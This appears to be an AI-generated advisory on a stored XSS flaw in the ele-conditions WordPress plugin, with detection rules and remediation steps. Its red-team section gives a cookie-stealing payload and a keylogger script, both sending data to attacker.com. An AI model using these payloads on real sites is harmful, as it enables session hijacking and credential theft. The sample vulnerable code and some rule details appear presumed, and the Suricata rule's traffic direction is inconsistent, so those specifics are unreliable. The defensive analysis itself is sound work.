CVE-2025-58796

Executive Summary

CVE-2025-58796 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Elementor Element Condition (ele-conditions) by vendor Dudaster. The vulnerability affects versions from n/a through 1.0.5. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the plugin’s input fields. When an administrator or other user views the affected page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No patch has been released by the vendor, and the plugin may be abandoned. Organizations should consider removing the plugin or applying a virtual patch via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must view the compromised page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS nature means any user viewing the page is at risk.

Deep Dive & Mechanics

The vulnerability lies in the ele-conditions plugin, which allows users to define conditional display rules for Elementor widgets. The plugin fails to properly sanitize user-supplied input when saving condition values. When the condition is later rendered in the WordPress admin panel or frontend, the unsanitized input is injected into the HTML, allowing arbitrary JavaScript execution.

Root Cause: The plugin uses echo or wp_kses_post without sufficient filtering for JavaScript event handlers or script tags. Specifically, the condition_value field is not sanitized before being stored in the database and later output.

Attack Flow:

1. Attacker logs in with contributor-level privileges.
2. Attacker creates or edits a post/page with an Elementor widget that uses ele-conditions.
3. Attacker sets a condition value containing a malicious payload, e.g., <img src=x onerror=alert('XSS')>.
4. The payload is stored in the wp_postmeta table.
5. When an administrator or other user views the post/page, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (ele-conditions <= 1.0.5):

// In a function that outputs the condition value
echo '<div class="condition-value">' . $condition_value . '</div>';

Patched Code (Hypothetical):

// Properly escape output
echo '<div class="condition-value">' . esc_html( $condition_value ) . '</div>';

The vulnerable code directly outputs the stored value without escaping. The patched code uses esc_html() to convert HTML special characters to entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with Elementor and ele-conditions plugin (<=1.0.5) installed.
• A user account with contributor-level privileges.

Steps:

1. Log in as a contributor.
2. Create a new post and add an Elementor widget that supports conditions.
3. In the condition field, enter the following payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Save the post.
5. When an admin views the post, the script executes and exfiltrates cookies.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual wp_postmeta entries containing script tags or event handlers.
• Use a WAF to block requests containing <script> or onerror= in condition fields.

Defense:

• Immediately disable or remove the ele-conditions plugin.
• Apply a virtual patch via WAF rules (e.g., ModSecurity).
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ele-conditions/ (entire plugin directory)
• Database: wp_postmeta rows with meta_key containing ele_conditions and meta_value containing <script> or event handlers.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug log entries showing unexpected output in condition fields.

Detection Engineering

YARA Rule

rule CVE_2025_58796_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in ele-conditions plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-58796"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/is
        $payload2 = /onerror\s*=\s*["'][^"']*["']/is
        $payload3 = /onload\s*=\s*["'][^"']*["']/is
        $plugin_path = "ele-conditions"
    condition:
        any of ($payload*) and $plugin_path
}

Sigma Rule

title: Stored XSS via ele-conditions Plugin
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS payloads in WordPress ele-conditions plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "ele_conditions"
        http.body|contains|re: "(<script|onerror|onload)"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in conditions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-58796 Stored XSS in ele-conditions Plugin";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"ele_conditions"; http_client_body;
    pcre:"/(<script|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-58796;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete ele-conditions from the WordPress admin panel.
2. Scan for compromise – Check wp_postmeta for malicious payloads and remove them.
3. Rotate credentials – If any admin cookies were stolen, force password resets.

Long-Term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
• Until then, apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads in condition fields.

Workaround:

• Restrict contributor-level access to only trusted users.
• Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.

Report generated by Valters IT DevSecOps AI Assistant
Valters IT – Securing Digital Frontiers